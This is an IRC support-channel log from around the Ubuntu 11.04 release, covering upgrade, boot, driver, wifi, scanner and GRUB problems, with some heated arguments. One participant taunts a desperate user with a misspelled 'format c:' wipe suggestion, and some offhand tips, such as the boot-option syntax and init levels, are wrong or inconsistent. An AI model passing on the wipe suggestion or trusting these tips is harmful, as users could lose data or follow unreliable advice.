[22:58] <ActionParsnip> n3glv: did you use the alternate cd?
[22:58] <cache_surplus> ActionParsnip: there is cdrom, hd, net, floppy, thats it
[22:58] <wilbur_cobb> turning gentoo into ubuntu step by step... can it be done?
[22:58] <m3t4lukas> what is slashnames?
[22:58] <ActionParsnip> cache_surplus: what make and model is the system?
[22:58] <n3glv> ActionParsnip: no, normal narwal desktop i386
[22:58] <cache_surplus> ActionParsnip: toshiba satellite, an older one, prolly with usb 1.0 ports
[22:58] <wilbur_cobb> not really my serious intention, just asking for the hell of it
[22:58] <cache_surplus> brb
[22:58] <ardchoille> slashnames: Please don't highlight people like that
[22:58] <ohsix> lucas: then why can't you just install ubuntu to the usb stick, then install the nvidia drivers?
[22:58] <ActionParsnip> n3glv: then that won't work. The upgrade doc clearly states you need the alternate cd
[22:58] <karth> m3t4lukas: apparently, a bot that is designed to irritate people.
[22:59] <n3glv> cache_surplus: for usb try looking for usb options like enhanced or 2.0 vs 1.1
[22:59] <coolkid25> ActionParsnip: Can you please help me fix Ubuntu?
[22:59] <n3glv> ActionParsnip: I find this out, after starting a NINE HOUR UPGRADE!
[22:59] <Soothsayer> lcb: gparted
[22:59] <cache_surplus> n3glv: one moment ok,,, ActionParsnip for a second
[22:59] <ActionParsnip> cache_surplus: what model satelite?
[22:59] <ActionParsnip> n3glv: researching is useful
[22:59] <cache_surplus> ActionParsnip: 3005-s307, part# ps302u-019xdx
[22:59] <Rockj> hm, gnome3-session depends on a package named gnome-shell which isn't in the repos?
[22:59] <cache_surplus> ActionParsnip: im not that fast
[22:59] <Soothsayer> brb reboot
[23:00] <cache_surplus> n3glv: explain. thanks
[23:00] <lcb> Soothsayer, delete and then format ext4?!... (try setting the bios to defaults and also detecting properly the disks
[23:00] <lucas> ohsix: tried this method, but when I go to a computer with an ATI card I haven't acceleration...
[23:00] <wilbur_cobb> nine hour upgrade? mehehe, we gentoo users laugh at that
[23:00] <n3glv> meh, I just expect that when it's sensing a cd with newer version and offering to upgrade, that it would do it from CD media
[23:00] <cache_surplus> there is no usb boot option in bios
[23:00] <n3glv> wilbur_cobb: ricer! <wink>
[23:00] <toto654> hi everyone...i jsut found out ubuntu 11-04
[23:00] <ActionParsnip> n3glv: if you want to clean install you have the right cd
[23:00] <computergeeksjw> Is there a way to temporarily disable loading of graphics drivers?
[23:00] <wilbur_cobb> ?
[23:00] <cache_surplus> ActionParsnip: agrees
[23:00] <toto654> why you all talk about gnome3 but its unity
[23:01] <cache_surplus> i have the right os
[23:01] <ActionParsnip> computergeeksjw: add the bootoption:  modulename.blacklist=1
[23:01] <ohsix> lucas: the proprietary drivers are decidedly not nice, it's probably a situation you'll have to live with if you use them
[23:01] <n3glv> computergeeksjw: interrupt grub loader, init=0
[23:01] <n3glv> ooops 1
[23:01] <n3glv> if u want networking, init=3
[23:01] <ohsix> lucas: nouveau ships with natty, maybe you can get by without any proprietary drivers
[23:01] <cache_surplus> ActionParsnip: ill wait, thanks...
[23:01] <strigoi66> Help please, need wifi driver for natty on acer aspire 5000 laptop I have tried the following( http://paste.ubuntu.com/600975 )
[23:02] <ActionParsnip> cache_surplus: try setting the sata to ide mode, look in BIOS for options
[23:02] <lucas> ohsix: till maverick I made a script that copied or removed an xorg.config in the case there was an nvidia driver
[23:02] <ohsix> gross
[23:02] <lucas> ohsix: Now I see xorg.config got obsolete
[23:02] <cache_surplus> ok
[23:02] <rgr> its not obsolete at all
[23:02] <ohsix> it was obsolete then
[23:02] <AaeRohn> anyone who can help with scanner issue that's not being occupied with somoene else at the moment?... My scanner (MFC-6490CW) will not work with Simple Scan, or Xsane Image Scanner, even though I have all the drivers installed... this is part of my income, so I need the scanner to work
[23:02] <ActionParsnip> lucas: its not, if one exists it will be obeyed
[23:02] <cache_surplus> ActionParsnip: ok, ill try that... that might be it..
[23:03] <Neosano> sudo apt-get install firefox will install firefox 4 or 3?
[23:03] <ohsix> you can still put configuration options in an xorg.conf but you shouldn't want or have to; if something is broke it's probably a bug
[23:03] <shane4ubuntu1> ok, on movie player (totem) the right arrow key used to advance 1min and the left went backwards 10 or 30 seconds, they don't work anymore?????
[23:03] <ActionParsnip> cache_surplus: if you also try the boot option:  noacpi   it may help
[23:03] <ActionParsnip> Neosano: which release ?
[23:03] <rgr> obsix : there are loads of bugs.
[23:03] <Neosano> ActionParsnip, I'm on 11.04
[23:03] <ActionParsnip> !info firefox natty | Neosano
[23:03] <testbe> hello please help me
[23:03] <ubottu> Neosano: firefox (source: firefox): Safe and easy web browser from Mozilla. In component main, is optional. Version 4.0+nobinonly-0ubuntu3 (natty), package size 13770 kB, installed size 28684 kB
[23:03] <ohsix> rgr: i'm confident you're filing them instead of just complaining about them
[23:03] <testbe> i bought a new pc
[23:03] <n3glv> strigoi66: you try lspci or dmesg|more to find out the manufacturer of the wifi?
[23:03] <testbe> and i want install ubuntu on
[23:03] <Caly> hi folks
[23:04] <ActionParsnip> Neosano: its in a default install so isn't required to be ran
[23:04] <ActionParsnip> !download | testbe
[23:04] <ubottu> testbe: Ubuntu installation CDs can be downloaded from http://releases.ubuntu.com - Mirrors can be found at http://wiki.ubuntu.com/Mirrors - PLEASE use the !torrents to download !Natty, and help keeping the servers' load low!
[23:04] <ninjai> just came from beta, fresh install of 11.04.  I get a weird scale icon in the bottom right corner of some windows (google chrome), and sometimes a blue triangle in the top left corner when I use unity.  WTF?
[23:04] <testbe> yes and
[23:04] <Neosano> ActionParsnip, haha. well I'm on lubuntu. :D ok thx
[23:04] <rgr> ohsix: You would be correct on the former. Stop misleading people. There are oodles of cases where an xorf.conf is required. It is not true to say its obsolete.
[23:04] <strigoi66> n3glv: no, will try now .
[23:04] <ohsix> rgr: the bugs are cases where people need to do workarounds, the default should work
[23:04] <lucas> ActionParsnip: Believe me, it worked... It was scripted to do a delete during bootup, or to copy a customized xorg.config.nvidia in it's place
[23:04] <testbe> i dont want to use unity or gnome 3
[23:04] <ActionParsnip> Neosano: I see, nice.Lubuntu kicks ass
[23:04] <rgr> ohsix: this is simply not true.
[23:04] <ohsix> rgr: if you need one, you are doing something wrong, full stop
[23:04] <Rockj> AaeRohn: is it a usb scanner? open up a terminal, type dmesg , take note of latest "timestamp" on the last entry. Plug in your scanner and type dmesg again, does it seems to register and be handed of to any device?
[23:04] <rgr> ohsix:  then you dont know what youre talking about.
[23:04] <Neosano> ActionParsnip, yeah, especially the last version :>
[23:04] <testbe> i dont want to use unity or gnome 3
[23:04] <Caly> i updated to 11.04 today, and it totally  fucked up my system, no it won't even boot from CD =/
[23:05] <ohsix> rgr: i do, sorry to break it to you
[23:05] <rgr> xorg.conf contains a lot more than nvidia info and xrandr doesnt work on many cards.
[23:05] <computergeeksjw> ActionParsnip: how do I add that?
[23:05] <ActionParsnip> testbe: gnome3 isn't part of ubuntu default. You can boot to traditional desktop if you don't like unity
[23:05] <testbe> okaz
[23:05] <ohsix> rgr: you'll notice that the manual pages for the xorg drivers are still there so you can add workarounds in exceptional situations
[23:05] <ActionParsnip> !bootoption | computergeeksjw
[23:05] <ubottu> computergeeksjw: For a list and explanation on some of the boot options, see https://help.ubuntu.com/community/BootOptions
[23:05] <daniel__> i dont know whats wrong i had wifi before the upgrade but now i have no wifi (10.10 - 11.04) it doesnt evan glow the little led light that says wifi
[23:05] <rgr> and if you set up multiple mointor then the nvidia settings writes to xorg.cof still. You're talking through your arse.
[23:05] <ohsix> rgr: you say "many", but it's just nvidia's proprietary driver re: xrandr
[23:05] <OY1R> can anyone help me fix this boot up problem, i cannot boot Ubuntu 10.10 >  http://paste.ubuntu.com/600969/
[23:05] <testbe> actionParsnip: do you know if you can limit the desktops to 1
[23:05] <AaeRohn> Rockj: that's a long list >.> *starts looking through for the scanner*
[23:05] <testbe> in unity
[23:05] <n3glv> testbe: at user prompt screen click user, then select in text at bottom of screen, ubuntu desktop
[23:05] <rgr> Look, I use use nvidia for years on multi monitor. I know you're wrong.
[23:05] <Caly> daniel__: seems i'm not talone then...
[23:06] <ohsix> rgr: that is an exceptional case with the proprietary nvidia driver, and that's nvidias problem, complain to them
[23:06] <ActionParsnip> testbe: sure, in ccsm
[23:06] <ardchoille> rgr , ohsix Can you take that to another channel please?
[23:06] <Neosano> !info kupfer natty
[23:06] <ubottu> kupfer (source: kupfer): fast and lightweight desktop summoner/launcher. In component universe, is optional. Version 0+v201-2 (natty), package size 413 kB, installed size 1964 kB
[23:06] <Neosano> old :<
[23:06] <basti> is there an easy tool to merge a srt subtitle into a mkv video file?
[23:06] <rgr> ohsix: it is the users problem.
[23:06] <ohsix> rgr: that's great, you know nvidia's driver is awful; good on you
[23:06] <ohsix> rgr: users have nouveau and xrandr
[23:06] <ActionParsnip> ohsix: works great here :)
[23:06] <testbe> actionParsnip: then i thing i like unitz
[23:06] <cache_surplus> ActionParsnip: ok, no sata option, also, at boot i press <C> to force boot cdrom, xp splash still loads...
[23:06] <daniel__> Caly, why would they make an update that goes backwards theres no up about this blows im using my phone to tether right now ...
[23:06] <arand> OY1R: What kind of filesystem setup do you have?
[23:06] <testbe> my problem always if i maximed an window
[23:06] <testbe> it was on another desktop
[23:06] <Rockj> AaeRohn: just look at the botton, "dmesg" shows you system messages (important ones basically) , I wanted you to type it once before you plugged in the scanner just to notice what has already been printed, then a second time after you have plugged it in. That way you could easily see what is new messages ;-)
[23:06] <alishah> exit
[23:06] <ActionParsnip> cache_surplus: did you try the boot option?
[23:06] <daniel__> i dont know whats wrong i had wifi before the upgrade but now i have no wifi (10.10 - 11.04) it doesnt evan glow the little led light that says wifi
[23:06] <Caly> daniel__: i'm using Trisquel on another computer...
[23:07] <testbe> actionParsnip: then i thing i like unity
[23:07] <ohsix> ActionParsnip: multiple monitors & static config?
[23:07] <ActionParsnip> cache_surplus: could try booting usb instead
[23:07] <testbe> it was on an other desktop
[23:07] <OY1R> Arachon, it's the 10.10 default i think it's ext4
[23:07] <Maxud> Hello I am force installing 32 bit driver for printer on 64 bit system, and I get many dependence errors, what I need to install
[23:07] <ActionParsnip> ohsix: only got one monitor for 4 PCs
[23:07] <testbe> my problem always if i maximed an window
[23:07] <rgr> lucas: bottom line is that xorg.conf is NOT obsolete. There are cases where you can get by without one. Its still a transition time. Idiots saying "blame nvidia" are on a moral crusade and not one to actually help you.
[23:07] <cache_surplus> ActionParsnip:  no usb option
[23:07] <Soothsayer> 11.04 installed this time.. looks like some issue with ext4
[23:07] <OY1R> arand, , it's the 10.10 default i think it's ext4
[23:07] <testbe> it was on an other desktop
[23:07] <daniel__> Caly, we shouldnt have to lol its not like were playing with a beta why did we lose our wifi ?
[23:07] <ohsix> ActionParsnip: then you don't get the pleasure of what we're talking about
[23:07] <lucas> c'mon guys I'll accept nouveau made some good progress, but it's way slower than the prop thingy
[23:07] <arand> OY1R: Try reinstalling grub.
[23:07] <ohsix> rgr: you're on a moral crusade my friend
[23:07] <ActionParsnip> ohsix: I use xorg.conf, yes
[23:07] <ohsix> lucas: indeed, but now it's in wide use
[23:07] <arand> !grub | OY1R
[23:07] <ubottu> OY1R: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[23:07] <n3glv> cache_surplus: some pc do not show the option unless device is connected/has a disk in it
[23:07] <cache_surplus> ActionParsnip: i am wondering if i need to make a usb 1.0/1.1 boot disk and try that... maybe it will show up as a HD
[23:07] <Caly> daniel__: that's not all i lost, i cant even boot up
[23:07] <ActionParsnip> ohsix: no, it works well
[23:07] <ohsix> ActionParsnip: my condolences
[23:07] <daniel__> i dont know whats wrong i had wifi before the upgrade but now i have no wifi (10.10 - 11.04) it doesnt evan glow the little led light that says wifi
[23:08] <rgr> lucas: nouveau is garbage compared to the ndiai one. Look up using sgfxi for your nvidia setup.
[23:08] <daniel__> Caly, why whats wrong with that
[23:08] <cache_surplus> n3glv: i tried usb install first before cd, usb first then cd always for me
[23:08] <Caly> i do get the ubuntu boot screen for a ew seconds when i turn it of... =(
[23:08] <testbe> ActionParsnip, do you think, in 11.10 is still an gnome 2 _
[23:08] <ActionParsnip> ohsix: the xorg.cof file is older than ubuntu, it works well so I use it :)
[23:08] <cache_surplus> im wondering if i should try a usb 1.0 flash drive, since this an oldddd laptop
[23:08] <ohsix> rgr: nvidia is garbage because it doesn't do xrandr 1.2+
[23:08] <Caly> i just get a bunch of test / terminal boot sequence stuff
[23:08] <ActionParsnip> testbe: it is
[23:08] <testbe> ok
[23:08] <ohsix> rgr: but one is free and can be improved
[23:08] <jon_gee> hey guys any of you experience this error after 11.04 install? "fixing recursive fault but reboot is needed"
[23:08] <n3glv> cache_surplus: on some pc I have to go into the boot options page (f-10 or 12) to see the cdrom as bootable
[23:08] <ninjai> can you change the 'shortcuts' in the unity menu?
[23:08] <rgr> ActionParsnip: ohsix is talking nonsense. In many many many cases you need an xorg.conf. It is NOT obsolete : end of story.
[23:09] <jeff__> can someone help me with a question about compiz
[23:09] <cache_surplus> i need a tool set of disks/usbs/1.0/2.0 it seems to have any luck with installing ubuntu on any box sighs...
[23:09] <daniel__> so is ubuntu 11.04 not done yet and should i have wated to download it ? because i have no wifi at all
[23:09] <ohsix> rgr: in many EXCEPTIONAL cases, you may need one
[23:09] <cache_surplus> n3glv: im done with the basics, i need the work around
[23:09] <lucas> rgr: that's correct about nvidia. If nouveau comes that far, I will surely use it... After all I am an avid open-source fan too, but if something works good I have to accept it
[23:09] <Soothsayer> is it possible to virtualize my dual-bootable Windows 7 within Ubuntu ?
[23:09] <ActionParsnip> rgr: i know its not obsolete.  preeching to the choir dude
[23:09] <cache_surplus> F2
[23:09] <Maxud> Hello I am force installing 32 bit driver for printer on 64 bit system, and I get many dependence errors, what I need to install
[23:09] <Caly> and i fet a fail message from "*Stopping automatic crash report generation
[23:09] <Soothsayer> so I don't have to restart to go back to windows
[23:09] <n3glv> cache_surplus: might need to use the alternate cd
[23:09] <vivid> rgr, thats correct, not having one does not suffice for specialized video setups
[23:09] <ohsix> rgr: but you don't want one if you aren't in an exceptional situation, it's highly higly contraindicated
[23:09] <rgr> Ah ok, I cant stand people misleading others in a help channel as he is doing.
[23:09] <AaeRohn> RockJ: okaaay... did so... but how is knowing what th emessages say help me get the scanner working?
[23:09] <jon_gee> any one get this error after 11.04 install " hey guys any of you experience this error after 11.04 install? "fixing recursive fault but reboot is needed""
[23:09] <cache_surplus> n3glv: nope, been there done that,, your right, but im past that stage
[23:09] <shane4ubuntu1> no one know of totem?  I can't even drag the slider to go forward or backward on a file, very odd, is that a bug?
[23:09] <AndrewEMT> Ok, have tried everything I know here... the NVidia driver still come up activated but not currently in use under the additional drivers app
[23:09] <n3glv> cache_surplus: make sure there is nothing that's 'protecting' your boot sector
[23:09] <rgr> lucas: sane as. I write code for FSF but I use what works.
[23:10] <daniel__> does anyone here know anything about the reason why internet wouldnt work if i had it before the update and dont know
[23:10] <ActionParsnip> Maxud: you will need to pull down the deb for the deb, extract the file and copy .so file to /usr/lib32
[23:10] <cache_surplus> this is the second laptop i have had an issue with the past month for a customer
[23:10] <Rockj> AaeRohn: paste the info here: http://paste.ubuntu.com/
[23:10] <rgr> daniel__: ipv6 possibly.
[23:10] <jeff__> is compiz disabled when you install ubuntu with the Wibi installer
[23:10] <cache_surplus> n3glv: have you used freebsd? that wouldnt even allow me to load it
[23:10] <ohsix> rgr: if you're literally talking about an xorg.conf being loaded and read, you're right; it still does that
[23:10] <jon_gee> any one get this error after 11.04 install " hey guys any of you experience this error after 11.04 install? "fixing recursive fault but reboot is needed""
[23:10] <daniel__> rgr, whats that ?
[23:10] <coreire> Hey, I'm having a little trouble with grub. I have Ubuntu 11.04, Windows 7, and Mandriva 2010.2 installed. I installed ubuntu last and installed the bootloader along with it. When I choose Windows 7 from the menu the system immediately reboots. I've tried the system tools on the Windows 7 disc and it says it can't find any problem with the windows installation. Any ideas on what I should do? Thanks
[23:10] <Caly> ehrmm... is 11.04 a really fubar update?
[23:10] <rgr> daniel__: google
[23:10] <cache_surplus> im pretty sure this is a bios hardware issue or something proprietary
[23:10] <n3glv> cache_surplus: last freebsd I used was 2.2.2
[23:10] <n3glv> ;-p
[23:10] <ohsix> rgr: i thought you were just talking about being on a help channel
[23:11] <ActionParsnip> jeff__: if the default packages can give 3d accelleration then compiz will be used
[23:11] <cache_surplus> n3glv:  well,,, its improved since then lol
[23:11] <ohsix> !google | rgr
[23:11] <ubottu> rgr: While Google is useful for helpers, many newer users don't have the google-fu yet. Please don't tell people to "google it" when they ask a question.
[23:11] <n3glv> of course, first slackware was 0.0.9
[23:11] <g0t> Results for | rgr on Google:
[23:11] <g0t> --
[23:11] <cache_surplus> anyway, im gonna try to find a usb 1.0 next... ill be back
[23:11] <n3glv> 56 floppies to get the libs to compile the kernel
[23:11] <rgr> I told him what area to look for. ipv6.
[23:11] <orbiting> Um, just upgraded to Natty. Anyone else using eclipse?
[23:11] <karth> Caly: It's not really making it easy
[23:11] <jon_gee> any one get this error after 11.04 install " hey guys any of you experience this error after 11.04 install? "fixing recursive fault but reboot is needed""
[23:11] <cache_surplus> and also the #hardware room suggested i upgrade the bios .. typical
[23:11] <klunky999> hello everyone
[23:11] <n3glv> cache_surplus: seen a few usb sticks that would not boot
[23:11] <Caly> karth: huh, what?
[23:12] <ohsix> rgr: if you have information you want to provide, provide it; google provides results almost unique to each user, it will find different things than a google search you run will
[23:12] <klunky999> im with problems with ubuntu and windows 7 grub loading already posted here
[23:12] <karth> Caly: a lot of people have had frozen installers, and unity doesn't work for a lot of people,
[23:12] <strigoi66> n3glv: this is what i got from lspci http://paste.ubuntu.com/601007
[23:12] <klunky999> http://askubuntu.com/questions/38201/grub-problem-with-windows-7
[23:12] <daniel__> rgr, so what do i do with this ?
[23:12] <karth> Caly: so, while it works great when installed fresh, upgrades are really not pleasant right now.
[23:12] <Caly> karth: so what do i do about it?
[23:12] <AaeRohn> Rockj: ok, now what?
[23:12] <cache_surplus> just a heads up, the last box i did, i even did a zero the drive with a maxtor 4.0 disk,,, that did not fix the issue
[23:13] <jeff__> I have an ATI 6970 card and installed the ATI CCC driver, but I don't seem to have Compiz support. Is it still located in the change apperance menu ?
[23:13] <n3glv> strigoi66:  Broadcom Corporation BCM4318
[23:13] <ohsix> ActionParsnip: what do you use xorg.conf for, adding modes?
[23:13] <cache_surplus> n3glv: regarding your mbr fix
[23:13] <Rockj> AaeRohn: paste the link here so I can take a quick look.
[23:13] <rgr> daniel__: who knows. I dont know the details. Look up ipv6 issues with Ubuntu. It *might* be the issue. I am merely giving you a pointer. ipv6 often fubars debian and ubuntu updates.
[23:13] <n3glv> u may have to play with google to find broadcom driver stuff
[23:13] <karth> Caly: What I'm oding... come in here, post your problems, and hope someone has some ideas.
[23:13] <ActionParsnip> ohsix: I only use one mode
[23:13] <AaeRohn> Rockj: http://paste.ubuntu.com/601009/
[23:13] <orbiting> jeff_ I have an nVidia card. Compiz is crapping out on me as well.
[23:13] <ohsix> ActionParsnip: if it's not probed by edid or something else that'd still be one ...
[23:13] <Caly> karth: yeah.. i wasn't goint to update before i moved stuff to mu NAS, but then last morning i got a big fat popup suggestin i do, so i did anywaas... quite a mean suggestion
[23:13] <rjaguar3_> I've been having lots of display issues with 11.04
[23:13] <strigoi66> n3glv: Thanks for the point in right direction.
[23:13] <daniel__> rgr, lol ok
[23:13] <ohsix> rgr: if you're not helping people it's probably not best to send them off in random directions either
[23:13] <ActionParsnip> ohsix: yes, it needs one. Its an old monitor
[23:14] <coreire> Also, i've tried "update-grub" but it's still the same
[23:14] <truepurple> Since I updated to 11.04, my tomboy notes program has disappeared, how do I get it back? Would the files I made with it still be around?
[23:14] <ActionParsnip> jon_gee: do you have an onboard video chip and an agp / PCIexpress video card
[23:14] <jon_gee> hey guys any of you experience this error after 11.04 install? "fixing recursive fault but reboot is needed""
[23:14] <ohsix> ActionParsnip: roger, that's why i asked; it's a far more common special case than any of the other ones, and only needed for drivers that don't do xrandr :]
[23:14] <karth> Caly: yeah,  with the tiny amount of bandwith that people are getting for the install, its not cool that we all get it so fast.
[23:14] <n3glv> truepurple: synaptic?
[23:14] <Caly> ohsix: good going.
[23:14] <AndrewEMT> ok, nvm then... sheesh
[23:14] <truepurple> n3glv: I don't understand
[23:14] <n3glv> truepurple: may need to enable older repos
[23:14] <ohsix> Caly: hm?
[23:14] <syn3rgy> Unity imho was a bigger mistake then Vista was fro Microsoft.
[23:14] <klunky999> im with problems with ubuntu and windows 7 grub loading already posted here http://askubuntu.com/questions/38201/grub-problem-with-windows-7 , if anyone can help would be awsome \o
[23:15] <truepurple> n3glv: How do I do that?
[23:15] <ohsix> syn3rgy: #ubuntu-offtopic for opinions, this is a help channel
[23:15] <n3glv> truepurple: system > synaptic package manager
[23:15] <jeff__> no, my mb board doesn;t have onboard graphics
[23:15] <jon_gee> any onehey guys any of you experience this error after 11.04 install? "fixing recursive fault but reboot is needed""
[23:15] <Caly> ohsix: i meant telling rgr to stop with that ignorant shit
[23:15] <n3glv> truepurple: u can search in synaptic for apps
[23:15] <ohsix> Caly: shrug, people rarely know they're the exception to the rule when they're talking about their own habits
[23:16] <Caly> hehe
[23:16] <KNUBBIG> good evening everyone :)
[23:16] <Caly> good evening chybbt
[23:16] <Rockj> AaeRohn: by the looks of it, it seems to regonize your printer/scanner as a usb storage disc, interessting.  Let me do some research about your scanner
[23:16] <Caly> *chubby
[23:16] <Mac_Weber> I want to switch from apache2 to apache2-mpm-worker. If I do 'apt-get remove apache2' then install apache2-mpm-worker will it keep the old configuration? (such as vhosts)
[23:16] <truepurple> n3glv: I can't make heads or tales of what is in synaptic package manager, but I can't find any tomboy notes anyway
[23:16] <AaeRohn> Rockj: alright
[23:17] <Rockj> AaeRohn: while im searching, you might want to see if the instructions in this forum post helps you: http://ubuntuforums.org/showthread.php?t=1195552
[23:17] <aj00200> Mac_Weber: I'm not sure, but you could always make a copy just in case
[23:17] <n3glv> truepurple: synaptic lists all the software on the pc, and can download/install more from the repository system
[23:17] <klunky999> im with problems with ubuntu and windows 7 grub loading already posted here http://askubuntu.com/questions/38201/grub-problem-with-windows-7 , if anyone can help would be awsome \o
[23:17] <Caly> is there some way i can fore a safe start something, and reverse this fubar upgrade?
[23:17] <truepurple> n3glv: Scratch that, found it, now what?
[23:17] <n3glv> it's like a super version of the ubuntu software thingy
[23:17] <Caly> *force
[23:17] <Karen_m> does upgrading to 11.04 break anything?
[23:17] <Mac_Weber> aj00200: what folders shall I copy?
[23:17] <n3glv> hit reload first truepurple
[23:17] <syn3rgy> ohsix true. I use ccsm extensively. I really need the 3D cube to work with the 3D windows due to the fact that I have 6 VM running all at once. Seems the not even Gnome will work with the cube now? Is this correct?
[23:17] <ActionParsnip> Caly: run:  sudo apt-get -f install
[23:17] <giampaolo> after installing 11.04 google-chrome no longer restore last closed session. Any idea?
[23:17] <Caly> Karen_m: i'd say hell yeah
[23:18] <Caly> ActionParsnip: need a promp first...
[23:18] <aj00200> Mac_Weber: I don't know. I figured you knew which files you needed to save.
[23:18] <Karen_m> caly, why is that?
[23:18] <Karen_m> so skip 11.04 for now?
[23:18] <ActionParsnip> Caly: boot to root recovery mode, or chroot from livecd
[23:18] <ohsix> syn3rgy: it should, compiz changed but not to that degree
[23:18] <Neosano> !info vuze natty
[23:18] <ubottu> vuze (source: azureus): Multimedia BitTorrent client. In component universe, is optional. Version 4.3.0.6-1.1ubuntu1 (natty), package size 7 kB, installed size 64 kB
[23:18] <Soothsayer> Karen_m: not necessarily
[23:18] <Caly> Karen_m: ah, yrah, do that, wait a while, seems there is just a bunch of shit hitting folks that upgrades...
[23:18] <truepurple> n3glv: Mark for reinstallation? My saved notes should still be there, right?
[23:18] <Soothsayer> Karen_m: ye
[23:18] <aj00200> Karen_m: I guess Unity is just a matter of personal preference. If you like it, you keep it, but you can always switch back to Gnome, even on 11.04
[23:19] <n3glv> umm, yeah, think so
[23:19] <jon_gee> hey guys any of you experience this error during installation of new 11.04? "fixing recursive fault but reboot is needed""
[23:19] <ohsix> syn3rgy: you'll just need to set it up again as compiz changed from .8 to .9 and while theres a settings migrator, it does not migrate a lot of things, and .9 has all new settings
[23:19] <Soothsayer> Karen_m: I JUST experienced an upgrade issue
[23:19] <Karen_m> Soothsayer, what?
[23:19] <Soothsayer> formatting my whole laptop because of it
[23:19] <truepurple> n3glv: Do I select mark for reinstallation?
[23:19] <Caly> ActionParsnip: how do i boot to root recovery mode?
[23:19] <computergeeksjw> ActionParsnip: what was the boot option again?
[23:19] <n3glv> truepurple: I think so
[23:19] <tjiggi_fo> Karen_m, try it on a live CD first
[23:19] <klunky999> anyone can help me about grub  with ubuntu and windows 7 please ?? im desesperate
[23:19] <Karen_m> 10.10 sucked for my laptop, it would not use my wireless properly!  I wonder if 11.04 will work :)
[23:19] <syn3rgy> ohsix I guess I just need some time. Seems not to long ago that anybody that was not lynx, bitchX etc was just "blinky" junk.
[23:19] <n3glv> truepurple: may want to browse your dir, see if you can find files that u want to save
[23:19] <Soothsayer> Karen_m: and plus, the download rate for the packages is really slow, so wait for a few days maybe?
[23:19] <Caly> Karen_m: he also had a problem
[23:19] <jon_gee> hey guys any of you experience this error during installation of new 11.04? "fixing recursive fault but reboot is needed""
[23:19] <n3glv> truepurple: but I think it should work
[23:20] <n3glv> jon_gee: ever see this , USER ASKING FOR HELP KEEPS ASKING SAME QUESTION OVER AND OVER?
[23:20]  * n3glv sheesh
[23:20] <Rockj> AaeRohn: http://welcome.solutions.brother.com/bsc/public_s/id/linux/en/download_prn.html#MFC-6490CW is some .deb packages you could download. But there is also some brother-* packages in ubuntu's repositories but Im unsure which one fits your scanner/printer hm.
[23:20] <n3glv> BEGGING EVEN
[23:20] <stittel> Hi! If I try to install the package "nvidia-96" on 11.04, Synaptic wants to remove the X server. What's going wrong there?
[23:20] <ohsix> Rockj: re: usb devices showing up as storage, they often do that now, and the disk mode contains drivers, then the drivers tell it to switch to the actual device; linux does that too, but it needs to know about the device to switch its mode, usb-modeswitch has a database of them, but this new device may need adding
[23:20] <Caly> as did i, as did daniel
[23:20] <syn3rgy> n3glv what question is that?
[23:20] <cache_surplus> how can i tell if i have a 1.0 or 2.0 usb stick plugged in? whats the command
[23:21] <syn3rgy> n3glv what question is that =P
[23:21] <truepurple> n3glv: I did that, but it still doesn't seem to be installed, do I need to reload?
[23:21] <n3glv> his recursive thing
[23:21] <Kevin`> n3glv: probably need to give them a link to a 'how to ask good questions' page
[23:21] <klunky999> anyone can help me about grub  with ubuntu and windows 7 please ?? im desesperate
[23:21] <n3glv> truepurple: wondering if just the shortcut is missing
[23:21] <computergeeksjw> ActionParsnip: what was the boot option you suggested about module blacklist
[23:21] <ohsix> stittel: -96 uses the old server abi and nvidia said they're not going to be updating them, so it conflicts with the server with the new abi
[23:21] <klunky999> http://askubuntu.com/questions/38201/grub-problem-with-windows-7
[23:21] <Caly> klunky999: furmat c:
[23:21] <AaeRohn> Rockj: that's the printer driver I installed, there's also a scanner driver for my MFC, and both are installed, and it still doesnt work
[23:21] <Caly> halps with windws issues
[23:21] <klunky999> Caly: ... im looking for solutions... really ...
[23:21] <ActionParsnip> computergeeksjw: modulename.blacklist=1
[23:21] <KNUBBIG> Caly: be patient
[23:22] <Caly> hehe
[23:22] <truepurple> n3glv: Well when I try to add it to my panel, its not listed as a option
[23:22] <ActionParsnip> computergeeksjw: you can blacklist whatever you want
[23:22] <syn3rgy> klunky999 windows will over write grub. Use a VM or install it first
[23:22] <cache_surplus> wow this room is way to busy,,, l8
[23:22] <ohsix> AaeRohn: if it only shows up as a usb drive, it needs to be added to the modeswitch database so it can be told to act like the actual device
[23:22] <KNUBBIG> klunky999: just tell your problem and we'll se who can help you
[23:22] <AaeRohn> Rockj: printer works perfectly, scanner doesnt
[23:22] <Kevin`> klunky999: you want to fix grub after installing windows second?
[23:22] <stittel> ohsix: If it can't be made working, why is "nvidia-96" even available as a package? I mean, this is a fresh default installation without any additional repos.
[23:22] <n3glv> truepurple: if u know the app name u could try launching it from command line (terminal)
[23:23] <daniel_> would some one be bale to help me find out why my wifi wont work the 11.04 update after it was already working in 10.10
[23:23] <ohsix> stittel: it does work, it just conflicts with the only server api available, so yea ... heh
[23:23] <ActionParsnip> AaeRohn: did you install the deb I gave?
[23:23] <klunky999> no, i had windows 7 installed, everything perfect, now i installed ubuntu 11.04 on a diferent partition, but same disk, ... when i log on grub now, i cant use windows, it just goes back to grub
[23:23] <AaeRohn> ohsix: do I still need to if it half-works? printer part of it works fine, the scanner part is what I'm having trouble with
[23:23] <n3glv> daniel_: may be missing a propriatary driver
[23:23] <ActionParsnip> daniel_: what is the output of:  sudo lshw -C network
[23:23] <syn3rgy> Oh SNAP one thing I hated with GDM (Gnome) was that I had to recompile it to work with Multiseating. Will Unity Multiseat??????
[23:23] <truepurple> n3glv: I wouldn't know how to do that, how do i search for a file?
[23:23] <ohsix> stittel: ask nvidia to support the new abi in older drivers, iirc they've already refused; you might have to live with an older release or nouveau
[23:23] <stittel> ohsix: What's the purpose of installing nvidia-96, when I don't have an X server after that? :)
[23:23] <n3glv> truepurple: ask google about a program called 'slocate'
[23:23] <Kevin`> klunky999: what's the entry for windows?
[23:24] <klunky999> how i check that Kevin`  ?
[23:24] <Caly> ActionParsnip: how do i boot to root recovery mode?
[23:24] <n3glv> it can search the hard drive for a file name
[23:24] <Kevin`> klunky999: pastebin it since it's probably a few lines
[23:24] <Rockj> AaeRohn: so only scanner doesn't work?  Are you in the scanner group?    Check by typing   "groups <your_username>" in the termianl to check your groups.
[23:24] <AaeRohn> ActionParsnip: I've had both printer and scanner drivers installed for a few days now
